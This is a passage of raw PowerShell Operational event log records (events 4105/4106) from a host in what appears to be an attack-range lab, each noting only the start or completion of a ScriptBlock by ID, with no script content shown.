Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024567
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024566
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024565
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024564
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024563
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024562
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024561
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024560
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024559
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024558
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024557
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024556
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024555
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024554
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024553
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024552
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024551
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024550
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024549
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024548
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024547
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024546
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024545
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024544
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024543
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024542
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024541
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024540
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024539
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024538
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024537
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024536
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024535
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024534
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024533
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024532
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024531
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024530
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024529
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024528
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024527
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024526
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024525
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024524
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024523
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024522
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024521
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024520
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024519
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024518
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024517
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024516
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024515
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
